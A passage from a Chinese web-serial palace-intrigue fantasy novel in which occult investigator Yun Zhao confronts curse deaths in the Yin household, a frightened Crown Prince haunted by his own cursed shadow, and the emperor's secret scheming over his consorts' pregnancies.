他目光不由自主地落在柔妃的腹部,心中那个原本模糊的念头,骤然清晰、活泛了起来。
柔妃入宫不久便有了身孕,可见是个有福气的。
若是能诞下个皇子,凭她的容貌,他的品性,必定出众……
皇帝又不由想起同样有孕的孟贵妃。
贵妃入宫十年,盛宠不衰,却一直未曾有孕。并非贵妃身子不好,而是他……有意掌控。
赐给贵妃的“养身”香料与汤药中,一直掺杂着极隐秘的避孕之物。
直到今年初,他想着贵妃年纪渐长,膝下空虚也是可怜,便示意负责此事的太医院院判**堂,略微减了药量。
可就是这药量减了不过两三月,贵妃竟然就有了。
皇帝眼底掠过一丝深沉莫测的寒光。
他不动声色地收回思绪,对侍立在轿辇旁的太监道:“常海,去太医院,把**堂给朕叫来。朕晚些时候有话问他。”
贵妃腹中的胎儿,如今也该有四个多月了,应该也能探出性别了?
皇帝心中已有盘算。
若是个公主,便成全了贵妃,就当全了她这些年的忠心侍奉。
可若是个男孩……那便,决不能留!
*
殷府。
云昭一行刚踏入月洞门,便听得内里一片压抑不住的悲泣呜咽之声。
仆妇丫鬟们面色惶惶,端着铜盆热水穿梭不停,盆中清水已染上淡淡的红褐色。
见殷若华归来,一名管家模样的老人踉跄着扑过来:“夫人您可算回来了!快去东厢房瞧瞧吧!小公子怕是也不好了!您快去见见最后一面罢!”
殷若华整个人如遭雷击,猛地僵在原地。
“不……不可能!我出门前还好好的!”她失声尖叫,再顾不得什么仪态风度,猛地推开搀扶她的丫鬟,朝着哭声最盛的东厢房狂奔而去!
穿过一道回廊,只见廊下坐着一位衣着素净的老夫人,正是殷若华的母亲,殷府的老太君。
她此刻眼神空洞,怀中紧紧抱着一个小小身躯。
见到殷若华冲过来,老夫人仿佛才找回一丝神智:“圆儿他已经没了!满儿……满儿还剩一口气吊着,你快来抱抱孩子,跟他说句话吧……”
殷若华脚步一个踉跄,几乎扑倒在地。
她猛地抬头,目光越过老夫人,直直投向那敞开的厢房门口——
透过掀开的门帘,可以清晰看见屋内临时搭起的床榻上,静静躺着一个幼小的身影,正是那对双生子中的姐姐。
“圆儿……”殷若华喉咙里发出嗬嗬的怪响,仿佛被无形的手扼住了脖颈。
而老夫人怀里抱着的,正是那对龙凤胎中的弟弟。
小男孩约莫七八岁模样,此刻面色灰败如土,气息微弱,胸口几乎看不到起伏。
殷若华猛地回过神一把从母亲怀中抢过那气息奄奄的孩子,转身冲到云昭面前,双眼赤红:“姜司主!救他!快救救我的满儿!你答应来救人的!你快救他啊!”
云昭垂眸,目光平静地扫过那孩子灰败的面容与周
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身萦绕不散的怨毒死气,摇了摇头:“救不了。”
“救不了?!”殷若华像是被这三个字狠狠刺中,她的声音拔高到几乎撕裂,
“你拿了我殷家一万两黄金!你和我说救不了?!姜云昭!你可是奉旨前来!你若见死不救,我殷家定要告上金殿,告你渎职无能,草菅人命!”
一旁的殷老夫人挣扎着起身,踉跄走到云昭面前,声音哀切:“这位想必就是姜司主?老身殷王氏,求您发发慈悲,救救我这苦命的外孙吧!
圆儿和满儿……他们并没有被他们那混账爹咬到啊!
就是方才,不知怎的,两个孩子突然就呼吸急促,脸色发青,紧接着圆儿就没了!
姜司主,您神通广大,求求您,想想办法救救满儿罢!”
殷老夫人言辞恳切,哭得几乎背过气去,周围女眷亦是低声啜泣,一片凄惶。
殷若华却厉声道:“娘!你不必跟她这般低声下气!她是奉了陛下旨意来救人的!方才还在阮府门口,巧言令色诓我捐出一万两黄金!
今日她若救不活我的圆儿和满儿,便是欺君罔上,便是谋财害命!我殷家与她誓不罢休!”
云昭目光投向殷若华,语气平淡:“殷夫人,孩子究竟是如何得来的……你从未向你娘亲透露过半分实情吗?”
此言一出,殷老夫人与周遭几位亲近女眷俱是一愣,脸上露出或惊讶或茫然的神色,显然对此一无所知。
唯有殷若华,脸色剧变:“你胡说什么?我的孩儿自然是十月怀胎,正经生下来的!你休要在此妖言惑众,污我清白!”
“我有没有胡说,你心里明白。”
云昭不为所动,抬手遥遥指向京城西北方向,“方才那冲天而起的血柱,想必贵府众人也瞧见了?
那是将家村,薛小玥的家乡。如今,整个村子,连同里面所有的人,都已化为飞灰,不复存在。”
殷若华抱着孩子的手猛地一颤,脸色又白了几分。
云昭继续道:“你方才能求去阮府,难道真不知阮家出了何事?
你夫君阮鹤卿,以及整个阮家,这些年究竟造了什么孽,欠下了怎样的血债,你当真毫不知情?”
殷若华的嘴唇开始不受控制地颤抖,怀中的孩子气息似乎又弱了一分。
她眼神闪烁,却仍强撑着一口心气:
“我夫君他当年也是年轻糊涂,被那不知廉耻的女人缠得没法子……可那都是过去的事了!
我的孩儿……我的圆儿和满儿是无辜的啊!他们什么都不知道!”
“无辜?”
云昭看着殷若华怀中那即将熄灭的小生命,“薛小玥尸骨未寒,怨气冲天之际,你转眼便怀上一对龙凤胎,还引为祥瑞,四处夸耀……
殷夫人,你真觉得,这是天降福泽,而不是某种……气运交换的产物?”
殷若华浑身一震。
她张了张嘴,却发不出声音。
云昭却不再给她喘息的机会:“阮家那处宅院,你与阮鹤卿当年究竟是从何人手中购得?
院中那棵被你们奉为‘吉兆’、旺了阮家文运与子嗣的杨树,你是否也曾暗中前去,以香火血肉祭拜过?”
“是……是他让我去的!他说只要诚心供奉,就能保住阮家的富贵,保住我们的孩子……”
第213章 让太子求姜云昭
殷若华眼神涣散,口齿不清地喃喃起来。
话音未落,她突然浑身剧烈抽搐,脸色瞬间由白转青,喉咙里发出“咯咯”的怪响!
“噗——!”
一大口暗红发黑、带着浓重腥气的鲜血,猛地从她口中喷涌而出!
血喷溅在她怀中满儿苍白的脸上,触目惊心!
这情形,竟与之前孙婆子和梅柔卿被她逼问真相时,被绝言咒反噬呕血的模样颇为相似!
云昭眸光一凝,指尖已捻住一枚金针,抢步上前——
若一针封住殷若华心脉要穴,或许还能争取到片刻时间,撬开她的嘴,问出阮家宅院、杨树供奉等关键问题!
“姜云昭何在?孤方才已去前院探视过了,为何只见太医院众人忙碌,迟迟不见她为孟大将军施治?!”
一道带着明显不耐的年轻男声,自连接前院的回廊另一端炸响!
伴随着一阵急促的脚步声,太子萧鉴在一群东宫侍卫与满脸惶恐的殷府管事簇拥下,快步闯入后院。
他脸色透着苍白,眼底带着淡淡青影,脚步落地略显飘忽,但眉宇紧蹙,下颌微抬,努力维持着储君的威严架势。
就在太子那一声质问响彻院落的刹那——
殷若华涣散的眼瞳骤然失去最后一点光彩,抱着孩子的双臂无力地垂下,整个人如同被抽空了所有骨头,软软地瘫倒在地,再无一丝声息。
而她怀中那个本就气若游丝的孩子,也在同一时刻,小脑袋一歪,最后一点微弱的呼吸,彻底断绝。
母子二人,竟在太子到来的瞬间,双双气绝身亡!
“若华——!满儿啊——!”
一直强撑着的殷老太君目睹这惨绝人寰的一幕,发出一声撕心裂肺的哀嚎,眼前一黑,直挺挺地向后晕厥过去,被身旁女眷们手忙脚乱地接住。
满院顿时乱作一团,悲哭声、惊呼声、惶急的脚步声交织。
云昭收回手,目光缓缓扫过太子。
太子故作无奈道:“姜云昭,你不要多想。孤亦是奉了父皇口谕,前来殷府探视孟大将军伤势,并督办此事!”
他故意顿了顿,语重心长道,“姜司主固然才干出众,但毕竟年轻,又是女子,今日接连奔波于阮府、殷府之间,处理这般骇人邪祟,难免有力有不逮之处。
孤身为储君,代父皇巡视督办,既是分内之责,同时也是为你分忧。你不必过于紧张。”
他一番话,看似冠冕堂皇,实则句句带刺,既抬出皇帝压人,又暗指云昭能力不足可能误事,可谓恶意满满。
云昭淡声道:“殿下大病未愈,本当在宫中静养,还要特意出宫跑这一趟,真是为国为民,死而后已。”
太子怎么听这话都觉得别扭,不像夸他勤勉,倒像在咒他**!
他目光不由睇向云昭,却见她对着自己一顿打量。
下一瞬,云昭那双蕴着玄妙灵光的眼眸,瞳孔几不可察地微微一缩。
她的视线,落在了太子脚下——那被夕阳拉得有些变形的影子上。
只见太子自身投下的影子边缘,竟隐约缠绕着一缕极其淡薄的灰色气息。
那气息如同有生命的触手,正在拼命“撕扯”着太子影子的轮廓。
这绝非宋白玉那血咒所能做到的!
反倒像是某种更为隐秘的诅咒痕迹!
有意思。
看来除了她,这京城之中,还有旁人也想要这位太子殿下的命。
而且这下手之人,手段也颇不凡。
心念微动间,云昭指尖几不可察地弹出一缕细微的玄阴之气。
这气息并非攻击,也非治疗,而是如同一粒微尘,轻轻“点”在了太子影子边缘那缕正在蠕动的灰色气息附近。
这轻轻一点,如同在沉睡的毒蛇旁边吹了口气。
影子边缘处的灰色触手仿佛受到了某种刺激,原本缓慢的蠕动骤然加剧!
而太子的影子也随之产生不自然的扭曲与波动,就像水中的倒影被投入了一颗小石子!
太子见云昭看着自己的眼神直愣愣的,诡异中仿佛透着一股说不出的笑。
一股莫名的寒意顺着脊椎爬升。
他下意识地垂下眼帘,却在这时突然看见,脚下的影子,竟然……自己扭曲了一下!
“啊——!”
极致的惊骇如同冰水灌顶,太子忍不住发出一声短促而变调的惊叫!
云昭脸上露出一抹恰到好处的讶异:“殿下可是身体不适?陛下虽让您督办,但也不必如此心急亲临险地。
若是凤体因此再有损碍,云昭恐怕担待不起。”
与此同时,她弯下腰,抱起殷若华臂弯中已然气绝的幼子尸身:
“方才,我正欲施展玄门金针渡穴之术,尝试为殷若华及其幼子延命片刻,或许还能问出些关键线索。
不想殿下突然驾临,高声喝问,惊扰了施术的气机,更打断了救治的时机……”
太子此刻哪里还听得进云昭这些话!
他满脑子都是方才那影子自己扭动的恐怖景象,太阳穴突突直跳,后背已被冷汗浸湿。
他眼神惊疑不定地再次偷偷瞥向地面——
谁知那影子的边缘,居然还在缓慢蠕动!
不是幻觉!
极致的恐惧攫住了他。
现在立刻回宫去求玉衡**?显然远水救不了近火!
可若是让他开口向姜云昭求救……那比杀了他还难受!
萧鉴死死咬着后槽牙,脸色一阵青一阵白,头脑之中乱糟糟一团。
然而太子方才那一声骇然惊叫,被云昭数落后眼神躲闪的心虚模样,尽数落在了殷家一众女眷眼中。
先前搀扶着殷老太君的一位年长妇人强忍悲痛,拭去眼泪,看向太
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子的目光已带上了明显的冷意。
她上前一步,对着太子福了一福,声音不高,却带着世家妇特有的沉稳与清傲:
“太子殿下乃万金之躯,国之储贰。殷家蒙难,殿下亲临关切,殷府上下感激不尽。
然则,此处毕竟是内宅后院,女眷**,殿下率众多侍卫径直闯入,于情于理,实有欠妥。”
她顿了顿,目光又扫向云昭:“姜司主奉旨查案,但身边所带皆为女史及必要护卫,行事皆依规矩。
就连秦王殿下,都依照规矩,在前院等候消息。
殿下突然驾临,高声喧哗,惊扰亡者……此事,殷府必定递上折子,向陛下陈情,还殷家一个公道!”
周围的其他女眷,亦纷纷流露出愤懑与悲愤之色。
今日之事,她们所有人都看得清清楚楚:
大将军孟峥在前院,有半个太医院的御医围着,且伤势早已稳住,性命无虞;
可方才的圆儿和满儿,却是真真切切地在她们眼前断的气!还有突然就喘不上气的殷若华!
她们亲眼看见姜司主已取出金针,分明是要施救,却被太子殿下突然闯入、高声责问给硬生生打断了!
从前,若遇到这般可能开罪殷家的场面,以太子素来的圆滑机变,必定会立刻换上另一副面孔,说些体恤安抚、解释误会的话,将场面圆回来。
毕竟殷家乃是朝中新贵,皇帝眼前红人,家风清正,是连孟家都竭力想拉拢联姻的对象。
殷家此次同意与孟家结亲,也是因皇帝亲自做媒,可见圣眷。
奈何此刻的太子,心神早已被彻骨的恐惧所吞噬,什么拉拢殷家,什么储君风度,统统抛到了九霄云外。
他微垂着头,眼神惊恐地再次偷偷瞥向自己的影子……
“鬼……有鬼!”他喉咙里挤出含糊的惊恐低语,连连又**了好几步!
看着怀里抱着已逝孩童的云昭,看着满院面带泪痕的殷家女眷,太子愈觉惊骇!
只觉这些女子,简直有如索命的冤魂厉鬼,实在面目狰狞!
太子如此失态惊惶,彻底激怒了本就沉浸在丧亲之痛中的殷家众人。
那为首的年长妇人不再客气,直接对一旁脸色同样难看的管家沉声道:
“安伯,太子殿下凤体不适,恐是沾染了咱们府上的不净之气,即刻引殿下到前院稍事休息。
殷家如今突遭大难,人丁凋零,实在无力招待,更顾不上其他。
殿下若觉不适,前院有众多太医在,可随时请为殿下诊治。
毕竟,今日为了救治孟大将军,整个太医院精锐几乎倾巢而出,都在前院候着呢!”
这番话,已是毫不掩饰的逐客令,更暗讽太子——
皇家口中急需救治的大将军,此刻在前院好好的,你太子跑到**人的后院来大呼小叫什么?
第214章 怕死,更怕丢尽颜面
太子几乎是失魂落魄地被“请”离了那片让他毛骨悚然的后院。
只觉每一步都像踩在绵软的云雾里,又似踏着无形的薄冰,后背那阵阴寒迟迟不散。
太子几次脖颈微动,想回头再看一眼自己的影子——
可颈后仿佛已被什么无形的手掐住了,他终是没敢回头。
那副惶惶四顾、步履虚浮的模样,哪还有半分储君应有的端肃威仪!
待行至前院,太子才觉脊梁骨稍稍挺直了一些。
一抬眼,便见堂屋门扉半敞,萧启正**在内,执杯饮茶。
他姿态闲雅,仿佛院后种种惊怖从未飘入他耳中。
太子心头一紧,又是惧又是恼——
惧的是这堂兄那双深不见底的眼,仿佛总能窥破他最不堪的狼狈;
恼的是自己也不知何时沾染了这等邪祟之事,竟落得如此境地,连找个地方躲藏都心惊胆战。
孟峥那屋子……他是决计不敢再去了。
那厮虽还吊着一口气,可那张脸青白僵冷,与**何异?
他现在只想往有活人气的地方钻,哪怕那活人气来自他素来忌惮的堂兄。
太子咽了口唾沫,整了整微皱的衣襟,强自镇定地走进堂屋,朝萧启挤出一丝笑:“堂兄。”
萧启闻声,目光缓缓从茶盏上抬起,幽深似古井,不着痕迹地将太子从头到脚扫了一遍。
也不知是巧合,还是刻意,那视线竟也同云昭如出一辙,径直往太子脚下掠去——
虽只一瞬,却让太子浑身血液都几乎凝住!
他怕死,却更怕丢尽颜面!
想他堂堂一国储君,竟被一道影子吓得魂不附体,此事若是传出去……
太子不敢在原地多留,生怕萧启再看出什么,便故作自然地朝屋内走了两步。
就在这时,太子眼角余光瞥见窗边一道清瘦挺拔的身影。
是裴琰之。
此人多智近妖,更知晓太子诸多不可告人的私密。
此刻见他在此,太子如同溺水者抓住了浮木,心中骤然一喜,连方才的惶恐都冲淡了几分。
他几乎迫不及待地快步上前,至裴琰之身侧时,声音压得极低,带着一丝不易察觉的急迫:“你随孤出来。”
话未说完,已先转身朝堂屋外侧的僻静回廊走去,步履快得仿佛身后有鬼在追。
裴琰之神色平静,默默随行。
二人刚至廊柱掩映的角落,太子便倏然转身,几乎贴着裴琰之开口:“孤有一件事,想让你帮忙出主意。”
裴琰之后退半步,躬身行礼,姿态是一贯的恭谨谦卑:“愿为太子殿下分忧。”
太子凝视着他低垂的头顶,心中那股舒坦微微泛起。
他就喜欢裴琰之这点,任凭官位再升,在他面前始终是这副驯顺模样,聪明却不忘本分。
“孤有急事,”太子喉结滚动,字句挤出齿缝,“想让姜云昭主动提出为我帮忙,你可有办法?”
太子话音刚落,目光像被什么钉住了,死死锁在裴琰之微敞的衣襟处——
那里隐约露出一小截金针的末端,针尖在昏暗光线下泛着柔和的光。
“你这伤处,”太子忽然开口,嗓音里透出一种他自己都未觉察的怪异,像是掺进了细微的砂砾,磨出一种莫名的酸涩,“是她帮你处理的?”
他话尾微微上扬,不像询问,倒像某种尖锐的试探。
裴琰之眼帘半垂,阴影覆住眸中神色,只答:“微臣为了活命,跪地求了姜司主整整一炷香的光景,最终总算得以保住一条命。”
说罢,他抬眼,目光澄澈地望向太子:“不知殿下方才提出想请姜云昭帮忙,指的是哪一方面的事?”
太子:“……”
*
云昭目送着太子仓皇离去的背影,眼底闪过一抹深思。
方才她只是用一丝玄阴之气稍加“撩拨”,太子身上那诅咒的反应便如此剧烈明显,实在出乎她的意料。
要知道,就在昨晚,太子尚之外凝辉堂时,云昭并未发现太子身上有这方面的不妥。
可如今,只要稍微懂得玄门阴气操控之法的人,恐怕都能轻易引动太子身上的诅咒异象。
也就是说,在真正的玄门中人眼中,此刻的太子,简直就像一条砧板上的鱼,只要是想,谁都能上来割他一块肉,作弄一番。
云昭不由自主地想起了前世她死后的景象——
萧启率兵逼宫,血染宫闱……太子**,紧接着,势如破竹的萧启也因恶诅暴毙。
整个大晋王朝随之陷入乱局,最终走向覆灭。
从前,她一心复仇,视角局限于个人恩怨,许多细节串联不起来。
然而今生她已站得更高,见识更多,也能看得更远,再结合太子身上这蹊跷的诅咒,一个从未想过的角度,骤然浮现在她脑海——
如果……太子本身,也只是一枚棋子呢?
一枚用来消耗萧启,用来搅乱朝局,最终用来……为真正的“渔翁”铺路清场的棋子?
若太子和萧启都如同前世那般相继陨落,那么最终获益的,会是谁?
谁能在那样的乱局中,最有可能“坐收渔利”,甚至……问鼎那个至高无上的位置?
这个想法,让云昭感到一阵寒意,却又夹杂着一种揭开谜题一角的兴奋。
她低头,看着怀中早已失去生命的满儿,对身旁的墨十七道:“扶殷老夫人下去休息,好生照看。”
又转向已然乱作一团的女眷,沉声道,“阮家十一口,早在八年前已被人算计,种下厌胜之术,非药石可医。
贵府如今煞气死气交织,已成险地。
若不想再有无辜之人枉死,从现在起,所有人退出此院,三日内不得靠近。
接下来一切事宜,需严格按我玄察司吩咐处置!”
云昭语气斩钉截铁,带着不容置疑的权威。
混乱的人群似乎找到了主心骨,开始在她的指挥下,惶然却又有序地行动。
先前那位出言“请”走太子的年长妇人,此刻主动走上前来。
她自称黄氏,是殷老太君一母同胞的嫡亲妹妹,亦是殷若华的姨母,今日听闻殷家府上惊变,特意带着人从自家过来殷家府上帮忙的。
她强忍着丧亲之痛,眼神虽悲恸却清明:“姜司主,老身黄氏,愿代殷家暂时主事,一切听凭司主吩咐,只求能助殷府渡过此劫,告慰亡者,安抚生者。”
云昭抬眸,目光在黄夫人面上停留片刻。
此女面相与昏厥的殷老太君确有几分神似,皆眉眼开阔,鼻梁端正,唇线分明,确是一副行事有度的宽厚模样,非那等奸猾刻薄之辈。
此刻她能压下悲痛,主动担责,更显出其骨子里的坚韧与担当。
黄夫人见云昭未立刻回应,上前两步,将她引至廊下稍僻静处,压低了声音,言辞恳切:
“姜司主,我那苦命的外甥女若华……生前糊涂,但临去前既已当众说出愿捐献一万两黄金襄助玄察司,此话老身与在场众多女眷都听得真切。
以我阿姊(殷老太君)和殷家一贯的秉性,既然承诺,便绝不会反悔赖账,请司主放心。
今日殷家遭此大难,还望司主不计前嫌,施以援手,助殷府上下渡过眼前难关。
您方才提及的‘煞气死气’……究竟该如何处置,还请司主给出个明确章程,殷家必定全力配合,不敢有丝毫怠
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慢。”
难得遇到一个不被情绪彻底左右、头脑清晰、口齿伶俐的明白人,云昭也不欲多做无谓的客套或威慑。
她微微颔首,开门见山道:
“夫人明鉴。殷若华之死,根由在于她曾亲身参与祭拜阮家那棵杨树,甚至以其自身或子女的‘福祉’为代价,与邪术做了隐秘交换。
故而殷府今日被牵连,遭此反噬之劫,并不全然冤枉。至于那两个孩子……”
她垂首看向怀里的满儿,“稚子确实无辜。然其诞生本身,恐非天地正道、自然孕化而来,乃是借助了阴邪之力,强求而得。
此等逆天而行的‘孽果’,根基虚浮,命格有损,本就难以承载正常寿元。
即便没有今日之事,也难活到成年,中途必遭夭折或其他灾厄。
此中关窍,还望夫人稍后,能如实转告殷老太君,让她明白此乃‘命定之劫’,非人力所能强挽。”
“至于两个孩子……终究可怜。稍后我会在此设下简易法坛,为他们指引明路,助其魂魄脱离此间怨秽纠缠,得以顺利投胎转生,也算全了一段因果。”
黄夫人面色凝重,听得频频点头,眼中既有痛惜,也有明了。
云昭继续道:“至于化解死气与阴煞所需的一应器物、符纸、香料等物,交由我玄察司下属专门采办,不必贵府额外费心花费。
稍后布阵净宅时,请府上所有女眷、仆役,务必回避至他处。”
黄夫人见云昭思虑周全,全无借此拿乔之意,心中感佩,连连应道:
“姜司主考虑周全,老身都记下了。您放心,稍后老身便安排所有女眷,连同仆役,暂时移居到西跨院的客舍去,绝不敢打扰司主施法。”
云昭略一沉吟,又道:“
老太君年事已高,骤逢巨变,悲痛攻心,需及时用药安抚,以免落下病根。
夫人可即刻遣人去前院,以我的名义,请一位擅长调理惊厥、安抚心神的御医过来,为老太君诊治。”
黄夫人闻言,脸上却闪过一丝为难,低声叹道:“合该是这个理。只是……今日大将军在殷府重伤,无论如何,殷家都难辞其咎。
今日之事,已是大大地得罪了孟家。恐怕三丫头与孟家议定的亲事,也难以为继了。此时再去请为孟大将军诊治的御医,只怕……”
云昭听出她话中隐忧,于是道:“老太君的身体要紧。
这样吧,劳烦夫人带路,我先去为老太君施上一针,稳住心神。待她醒来,再用汤药调理不迟。”
黄夫人闻言,紧蹙的眉头顿时舒展开来:“如此甚好!
老身早闻姜司主医术通神,尤擅金针奇术。今日能得司主亲自施针,实乃我阿姊之幸,殷家之幸!老身代殷家,先谢过司主大恩!”
说着,便欲再行礼。
云昭将怀里的满儿交给跟在一旁的玄察司手下,并低声嘱咐几句该如何安置圆儿和满儿这对双生子的尸身:“夫人不必多礼,分内之事。请带路吧。”
黄夫人连忙引路,两人一同沿着回廊,朝着殷老太君暂时安置的厢房走去。
廊外天色渐暗,暮色四合,檐角挂起的白灯笼已然点亮,在晚风中轻轻摇曳,投下晃动的光影,更添几分萧瑟。
四下暂时无人,只有她们两人轻微的脚步声。
黄夫人忽然压低声音,主动开口道:“姜司主方才问及阮家那处宅院的来历……
老身虽久居内宅,不理外事,但关于那宅子,倒是听说过一些说法,不知对司主查案是否有用?”
云昭脚步几不可察地微微一顿。
她本意只是施与殷家一个善缘,却未曾料到,竟有此意外收获。
第215章 诛其三族,可有悔意?
云昭侧首看向黄夫人,目光沉静而专注:“夫人请讲。任何线索,或许都至关重要。望夫人不必有任何顾忌。”
黄夫人微微颔首,指尖无意识地捻着袖口,似在斟酌词句。
片刻后,她低声道:“阮家现今住的那处宅院,当日是华姐儿出面,以殷府大小姐的名义,从一户姓石的人家手里低价盘下的。”
她顿了顿,眼底掠过一丝不忍,“听说那石家的夫人彼时正怀着身孕,却不知遭了什么变故,突然就身故了。
那姓石的男主人心灰意冷,便想卖了宅子,带着家当远离京城这片伤心地。”
云昭眸光微凝:“买卖宅院这等大事,原主家里又出过这样的事,她半点也不忌讳么?”
黄夫人长长叹了口气:“姜司主待人赤诚,如今华姐儿也不在了,有些话,我便也直说了罢。
自从华姐儿一颗心系在了那阮鹤卿身上,便如同被迷了心窍,做出的事,许多连我那阿姊都看不过眼,却拿她没法子。
就拿这宅子来说,她是用了自己的体己私房,偷偷摸摸将这事办了。
等阮家那一大家子人热热闹闹搬进去住了小半年,我阿姊才从旁人口中偶然得知此事!
你说说,这天底下,哪有做儿媳的掏自己嫁妆,偷偷给公婆置办产业的道理?”
她的声音因激动而微微发颤:“那阮鹤卿,根本就是吃准了我那傻外甥女!
一大家子凑在一处,变着法儿吸殷家的血,吃殷家的软饭!
事后阿姊知晓,气得浑身发抖,将她叫到跟前狠狠训斥了一顿。
可那时……华姐儿已诊出了身孕。阿姊心里再气,也怕话说重了,惊着她腹中的胎儿,只得生生将这口气咽了下去。”
云昭若有所思,追问道:“那石家,是做什么营生的?”
“听说是生意人,在城西开着不大不小一间米坊。家里出了那档子事后,便匆匆关了铺面,离开京城回原籍去了。”
“可知他名讳,或是原籍何处?”
黄夫人蹙眉回想,摇了摇头:“这便不清楚了。
只是当时阿姊训斥华姐儿时,我恰好在旁,隐约听她提过这么一嘴,细节却未深究。”
云昭温声道:“多谢夫人坦言相告。”
说话间,二人已行至殷老太君静养的厢房。
云昭先为昏沉的老太君施针调理,又开下一张调理方子,细细嘱咐了服法禁忌。
殷府女眷今日遭逢巨变,家中先是疯了大姑爷,紧接着咬伤了护国大将军,得罪了孟家,之后又连丧母子三人,可谓混乱至极,凄惨至极!
前院围着诸多太医,却没一个肯来后院救治,唯独从云昭处收获诸多善意。
众人或激愤或落泪,口中不住道谢,纷纷将云昭一路送至院门口,个中种种心酸,暂且按下不表。
且说云昭刚步出老太君院落,便见拂云步履匆匆自影壁后转出,迎面赶来。
她神色是前所未有的冷肃,甚至带着一丝仓皇,见到云昭,不及行礼便急声道:
“姜司主!太子殿下方才在前院忽然晕厥了!还请姜司主速去瞧瞧!”
云昭正对孙婆子吩咐净化内宅所需的步骤与禁忌,闻言眼皮都未抬道:
“东宫属官与诸位太医国手皆在,我不过粗通岐黄,怎好越俎代庖?”
她语气平静,却带着清晰的疏离。
说罢,她竟不再看拂云,转而走向一旁临时摆开的桌案,拿起纸笔,开始疾书接下来所需的各类药材、法物。
一旁侍立的管家李伯,亲眼见云昭金针妙手将老太君从鬼门关拉回,早已是敬佩感激交加!
此刻见状,忙上前一步,躬身道:“姜司主,眼下时辰已晚,许多铺子怕是都关了门。
老朽在京城多年,熟知各家货品行市,司主单子上所需之物,老朽大抵知道哪家铺子存货最真、品相最佳。
恳请司主允老朽同去采办,也算为府上尽一份心力,求个心安。”
云昭笔下未停,略一思忖。
后院女眷,包括刚刚苏醒的殷老太君,均已挪至西跨院,此刻殷府内宅已由玄察司全面接管。
李伯熟悉京城,主动请缨帮忙采办,既为帮忙,也是为自家府上尽力,情理皆通。
她便点了点头:“有劳。一切按单采买,务必确保品质。”
“老朽明白!”
拂云眼见云昭手下单子越写越长,旁边两名玄察司属吏一左一右帮着抻纸,那清单竟洋洋洒洒拖垂至地。
而云昭神色专注,落笔稳健,丝毫没有停笔动身的意思。
拂云心中焦虑如同火煎油烹,再也按捺不住!
她猛地向前一步,尖厉的声音几乎刺破庭院的寂静:“姜云昭!太子乃一国储君,万金之躯,身系江山社稷!
殿下若真在此有个三长两短,莫说是你,便是今日在场所有人,有几个脑袋够砍?!”
云昭眼皮都未抬一下,笔下最后一个字稳稳收锋,一边冷声道:“诸位可都听清了?
这位东宫的拂云女官,公然诅咒当朝太子殿下。
我们这些为朝廷效力的,每日把腿跑断。有些话您敢说,却不敢听,也听不起。”
周遭玄察司众人早已是横眉冷对,面上尽是压抑的怒色与疲惫。
可不是么!
他们这一整日,跟着司主从城内疾驰到将家村,又接连赶往阮府、殷府,心神紧绷如满弓之弦,体力精力早已透支到了极限。
但所有人心里都跟明镜似的——
这一桩桩、一件件,最耗心神、最担风险的,还是姜司主。
偏偏那位太子殿下,自赶到殷府后,非但未曾体恤半分,反而像是专程来添乱。
众人此时只觉得这位从前口碑极佳的太子殿下,实在虚伪至极!
储君的威仪与智慧没见着几分,折腾人的本事倒是一等一。
拂云被云昭这番话噎得眼前一黑,一股血气直冲顶门:“你——!”
她想要厉声驳斥,却发现自己那套仗势压人的说辞竟无处着力,反而被扣上了“诅咒储君”的可怕罪名,一时脸都涨红了。
云昭撂下笔,不紧不慢地朝前院方向走去。
拂云见状,心头一松,以为云昭终究是怕了,只是嘴上强硬,这便要去看太子了。
她忙不迭跟上,语气也软了下来,带着几分劝诱:“姜司主,令妹已入东宫,是太子身边的奉仪,您自己不日也将嫁入秦王府,成为秦王妃。
说到底,同在皇家屋檐下,日后都是一家人。
您又何苦事事与太子殿下针锋相对,徒惹不快呢?”
云昭步履未停,只微微侧首,瞥了拂云一眼,忽而道:“在太子殿下身边近身伺候,这些年,很不容易吧。”
拂云一怔,脚下微顿,第一反应竟是以为自己听错了。
“灵峰死后,因其罪行涉及夤夜擅闯丹阳郡公府邸,欲对扶舟公子和宜芳郡君不利,陛下震怒,已下明旨——诛其三族。
不知灵峰决意为主子卖命时,可曾想过,有朝一日自己身死魂灭,还要连累父母亲族,一同踏上黄泉路。
若早知如此,他会不会后悔。”
夜幕已悄然笼罩,殷府各处悬挂的白灯笼次第亮起,白惨惨的光映在拂云脸上。
她张了张嘴,喉头却像被
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什么堵住,发不出半点声音。
不多时到了前院。云昭目不斜视,径直朝着孟峥养伤的那处厢房走去。
拂云被方才那番话震得心神恍惚,慢了半拍才反应过来,急忙小跑着追上:
“姜司主,走错了!殿下不在那个房间,他在东边……”
话音未落,身前的侍卫已抬手掀开了孟峥厢房的门帘。
里面数位御医或研讨脉案,或整理药箱,虽气氛凝重,却并无慌乱景象。
“太子殿下乃一国储君,若真突发急症,危在旦夕,此刻太医院诸位大人早已方寸大乱、奔走疾呼了。”
云昭的目光清凌凌地落在拂云脸上,故作了然地叹了口气:“况且,方才殿下亲至后院,殷殷叮嘱,命我务必以孟大将军伤势为重。
如今我既已前来,你可转告殿下,请他放心,大将军这里有我,殿下也不必再寻其他由头,反复催促了。”
说罢,云昭就着掀开的门帘,迈过门槛,径直入了厢房。
拂云僵在原地,急得连连跺脚,却又不敢高声喧哗,一股绝望的无力感攥紧了她的心脏。
殿下确实并非真晕倒!
可他从后院回来后,就将自己反锁在房内,不许点灯,更不许任何人靠近!
她跟随殿下多年,上一次见到他这般惊惧绝望的模样,还是那年不慎落入太液池……
殿下这情形,分明像是中了邪!哪里是御医能救治的?
另一头,她早已暗中派遣心腹侍卫,马不停蹄赶往皇宫去请玉衡**。
可怪的是,殷府距皇宫不算远,那侍卫去了将近半个时辰,杳无音信。
萧鉴自然想不到,此刻他心心念念的救星玉衡**,也在宫中陷入了窘境。
皇帝命内侍引他在一处僻静偏殿“稍候”,这一候,便是从天光正亮候到日影西斜,再候到宫灯尽燃,夜幕深沉。
手边那号称贡品的大红袍,泡淡一盏便立刻换上一盏新的。
茶水温热适口,香气氤氲,可玉衡**已足足灌下了七盏!
腹中鼓胀如擂,膀胱刺痛难忍,偏生皇帝传见的口谕迟迟未至,他不敢也不能贸然提出出恭。
那张原本仙风道骨的脸,此刻憋得隐隐发青,坐姿早已僵硬变形。
当第八盏滚烫的茶汤被悄无声息地斟满时,玉衡**猛地起身!
他必须如厕!
大活人总不能被尿憋死!
然而,就在他起身的刹那,心口毫无征兆地传来一阵尖锐的刺痛!
